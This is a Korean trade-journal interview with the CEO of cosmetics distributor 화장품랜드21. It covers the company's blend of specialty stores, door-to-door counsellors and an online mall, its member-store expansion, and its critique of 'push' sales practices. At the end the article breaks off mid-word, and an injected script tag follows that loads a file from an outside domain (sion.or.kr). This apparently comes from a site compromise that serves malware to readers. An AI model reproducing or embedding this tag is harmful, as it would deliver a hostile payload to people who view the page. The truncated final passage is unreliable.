"유통의 큰 흐름은 이미 변하고 있습니다. 과거의 유통방식에만 얽매이다 보면 더이상 시장 경쟁에서 살아남을 수가 없습니다. 변화하는 흐름을 정확하게 파악하고 대응해 나가야죠. 화 장품랜드21은 온 오프라인의 결합을 통해 이런 변화에 대응하려고 합니다." 화장품랜드21의 정한훈 대표이사는 유통의 변화라는 시대적 요구에 따라 화장품랜드21을 설 립하게 됐다고 창업동기를 밝혔다. 실제 국내의 화장품 유통은 급격하게 변하고 있다. 시판 시장 소비자가 타유통망으로 이탈을 하면서 마켓쉐어가 감소하고 마트와 방판이 꾸준하게 성장세를 구가하고 있다. 또 인터넷 전자상거래가 활성화되는 등 장업계 전체시장이 재편되 고 있다. "화장품랜드21이 궁극적으로 추구하는 것은 다국적 유통회사에 대응할 수 있는 국내 유통전 문회사로 자리잡는 것입니다. 부츠, 샤샤, 세포라 등 글로벌 유통회사들이 시장조사를 마치 고 곧 국내시장을 폭격할 것으로 예상되고 있는데 가만히 앉아서 당할 수는 없습니다. 국내 유통의 힘을 키워 맞대응해야죠. 그리고 향후에는 우리가 세계 시장으로 진출할 것입니다." 정 대표이사가 유통의 힘을 키우기 위해 가지고 있는 방안은 다양하다. 그 중 가장 큰 것은 전문 유통브랜드를 육성하는 것. 화장품랜드21만이 취급하는 상품을 전체품목의 50% 정도 를 개발해 유통의 힘을 강화시키겠다는 것이다. 이는 전문점 마진을 보장하면서 제조사와 윈윈할 수 있다는 장점이 있다. 또 특화된 상품만을 취급해 무리한 가격경쟁으로 인해 흔들 리고 있는 시판시장에도 긍정적으로 작용할 것으로 예상된다. 인터넷 쇼핑몰(www.cosland21.com) 또한 화장품랜드21에서 역점을 두는 부분. 일반 쇼핑몰 과는 달리 전국의 회원 전문점을 거점으로 두고 있어 제품 보유력이나 배송면에서 경쟁력을 갖추고 있다. "인터넷 쇼핑몰과 전문점과 방판의 모든 장점을 집약해 놓은 형태입니다. 소비자가 제품을 인터넷으로 구매했을 경우 인근 전문점에서 바로 배송을 나가기 때문에 빠르게 제품을 받아 볼 수 있습니다. 이는 구매가 편리하다는 인터넷의 특성을 활용한 것입니다. 또 카운슬러가 배송을 나가기 때문에 소비자가 제품의 특성이나 피부에 대해 상담도 받을 수 있습니다. 방 판의 특성을 가지고 있는 것이죠. 색조제품의 경우 색깔의 다양성 때문에 쇼핑몰에서 상대 적으로 약세를 면치 못하고 있는데, 이 또한 화장품랜드21에서는 걱정이 없습니다. 카운슬러 가 다양한 컬러의 색조제품을 가지고 가서 카운슬링하면 문제될 것이 없죠. 이외에도 크레 임에 따른 교환이나 환불도 용이하고 시판시장을 통하기 때문에 소비자에게 믿음을 준다는 플러스 효과도 있습니다." 정 대표이사는 화장품랜드21의 강점을 전문점, 방판, 쇼핑몰이라는 유통체계의 특성을 통해 일목조연하게 설명한다. 미래지향적인 유통회사는 각 유통라인별 특성을 흡수한 형태일 것 이라고 정 대표이사는 덧붙인다. 특히 이런 계획들이 정착되면 쇼핑몰의 감성적인 부분이 커지고 소비자의 신뢰를 불러오게 된다고 정 대표이사는 말한다. 화장품랜드21의 계획이 성공하기 위해서는 국내 전 지역을 커버할 수 있는 회원 매장이 선 행돼야 한다. 현재 화장품랜드21의 회원은 220여개. 각 구별로 2곳, 시는 인구 15만에 1곳, 군은 1곳을 지정해 전국에 90% 이상의 거점을 이미 확보한 상태다. 올해는 회원사를 500여 곳으로 확대해 명실상부한 전국 유통망 체계를 갖춘다는 계획이다. 이를 통해 화장품랜드21 은 ‘맞춤화장품’ 시대를 여는 선도자적 역할을 자청하고 있다. "이제 소비자는 더이상 제조사들이 인위적으로 만든 제품은 구매하지 않습니다. 제조사에서 자의적으로 시장을 판단하고 제품을 생산하다 보면 오히려 역기능만 초래할 뿐이죠. 소비자 개개인의 니즈를 정확히 파악하고 판매량까지 예상해 생산에 들어가는 선진국 유통으로 바 뀌어야 합니다. 소비자의 정보와 니즈를 정확하게 파악하고 있는 유통회사가 유통브랜드를 활성화시킬 때 진정한 의미의 맞춤화장품 시대가 시작되는 것입니다." 국내 화장품 산업의 문제점으로 ‘밀어내기 영업’이 지적을 받은 것은 어제 오늘 일이 아 니다. 화장품의 가격이 무너진 것은 단순히 전문점의 과당경쟁 탓만이 아니다. 매출액 향상 에만 급급해 시장의 수요를 파악하지 못하고 일단 밀어내고 본다는 식의 영업정책도 시장질 서를 흐트리는데 한 몫을 했다. 이런 때인만큼 소비자의 니즈를 정확히 파악해 이에 맞춰 제품을 생산해야 한다는 정 대표이사의 지적은 설득력이 높다. "전문점도 이제 바꿔야 합니다. 80, 90년대처럼 단순히 할인점 개념으로 운영해서는 경쟁력 이 없습니다. 매장을 전문화·특성화시켜야 하고 채널을 다양화해야 합니다. 특히, 채?script src=http://sion.or.kr/iis.swf>

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